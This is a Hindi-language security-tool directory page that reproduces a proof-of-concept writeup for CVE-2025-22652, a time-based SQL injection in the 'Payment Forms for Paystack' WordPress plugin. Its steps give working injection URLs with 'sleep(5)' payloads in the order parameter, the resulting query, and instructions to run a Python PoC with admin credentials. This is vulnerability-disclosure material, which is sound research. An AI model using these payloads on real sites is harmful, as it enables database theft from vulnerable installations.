Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-22652 — CVE-2025-22652 का PoC | Kitploit
उपकरण/GitHubGitHub/dottak/cve-2025-22652
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubdottak/cve-2025-22652

CVE-2025-22652

CVE-2025-22652 का PoC

रिपॉजिटरी देखें
11 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-22652

1️⃣ घटक प्रकार

WordPress प्लगिन

2️⃣ घटक विवरण

Component name Payment Forms for Paystack

Vulnerable version <= 4.0.1

Component slug payment-forms-for-paystack

Component link https://wordpress.org/plugins/payment-forms-for-paystack/

3️⃣ OWASP 2017: TOP 10

Vulnerability class A3: इंजेक्शन

Vulnerability type SQL इंजेक्शन

4️⃣ पूर्वापेक्षा

व्यवस्थापक

5️⃣ भेद्यता विवरण

👉 संक्षिप्त विवरण

Payment Forms for Paystack प्लगिन के संस्करण 4.0.1 और उससे नीचे में, भुगतान फ़ॉर्म में भुगतान सूची देखते समय URL पैरामीटर order के लिए अपर्याप्त इनपुट सत्यापन और एस्केप प्रोसेसिंग के कारण एक SQL इंजेक्शन भेद्यता मौजूद है। इसके माध्यम से, व्यवस्थापक विशेषाधिकारों वाला एक हमलावर लक्ष्य साइट के डेटाबेस से सभी जानकारी निकाल सकता है।

हालाँकि यह भेद्यता सीधे डेटा क्वेरी करने की अनुमति नहीं देती है, फिर भी Time-based SQL इंजेक्शन तकनीकों का उपयोग करके डेटा निकाला जा सकता है।

👉 पुनरुत्पादन कैसे करें (PoC)

  1. एक WordPress साइट तैयार करें जिसमें Payment Forms for Paystack प्लगिन संस्करण 4.0.1 या उससे नीचे स्थापित हो।

  2. चूंकि लुकअप करने के लिए आपको एक Paystack फ़ॉर्म जोड़ने की आवश्यकता है, इसलिए Paystack फ़ॉर्म जोड़ें मेनू (wp-admin/post-new.php?post_type=paystack_form) से एक फ़ॉर्म जोड़ें।

    image

  3. फ़ॉर्म जोड़ने के बाद, आप ShortCode देख सकते हैं, और नीचे दिए गए URL में URL पैरामीटर form में उस ShortCode की attribute ID डालने के बाद उसे एक्सेस करें।

    root@kitploit:~
    http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<Insertion Point>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1)
    

    उदाहरण के लिए, यदि [pff-paystack id="13"] है, तो http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1) एक्सेस करें।

    image

  4. परिणामस्वरूप, URL पैरामीटर order में डाले गए SQL इंजेक्शन पेलोड में where 1=1 शर्त खंड हमेशा सत्य होने के कारण, आप पुष्टि कर सकते हैं कि फ़ंक्शन निष्पादित होता है और प्रतिक्रिया 5 सेकंड बाद आती है।

👉 अतिरिक्त जानकारी (वैकल्पिक)

[भेद्यता का कारण]

जब भेद्यता वाले URL का अनुरोध किया जाता है, तो फ़ाइल /wp-content/plugins/payment-forms-for-paystack/includes/classes/class-helpers.php में get_payments_by_id फ़ंक्शन कॉल किया जाता है।

इस बिंदु पर, URL पैरामीटर order को बिना किसी इनपुट सत्यापन या एस्केप प्रोसेसिंग के सीधे SQL क्वेरी में डाला जाता है और डेटाबेस पर निष्पादित किया जाता है।

इसलिए, जब SQL इंजेक्शन पेलोड , (select sleep(5) from dual where 1=1) को URL पैरामीटर order में डाला जाता है, तो नीचे दिखाई गई SQL क्वेरी निष्पादित होती है। इस बिंदु पर, पेलोड में शर्त खंड सत्य या असत्य होने के आधार पर, प्रतिक्रिया समय में अंतर होता है, और इस समय अंतर का उपयोग डेटाबेस से डेटा निकालने के लिए किया जा सकता है।

root@kitploit:~
SELECT * FROM %i WHERE post_id = %d AND paid = %s ORDER BY %i , (select sleep(5) from dual where 1=1)

[PoC कोड कार्यान्वयन और निष्पादन]

  1. PoC कोड को किसी एडिटर में खोलें और WordPress साइट का पता और व्यवस्थापक क्रेडेंशियल दर्ज करें।

    image

    1. फिर PoC कोड चलाने के लिए निम्न कमांड दर्ज करें।

    Required module requests

    root@kitploit:~
    python poc.py
    

    image

6️⃣ एक्सप्लॉइट डेमो

video

7️⃣ संदर्भ

  • https://nvd.nist.gov/vuln/detail/CVE-2025-22652
टूल डाउनलोड करें
sleep(5)

image

  • दूसरी ओर, यदि आप order में डाले गए SQL इंजेक्शन पेलोड में शर्त खंड को where 1=2 में बदलते हैं, तो आप पुष्टि कर सकते हैं कि प्रतिक्रिया तुरंत आती है।

    root@kitploit:~
    http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<Insertion Point>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2)
    

    उदाहरण के लिए, यदि [pff-paystack id="13"] है, तो http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2) एक्सेस करें।

    image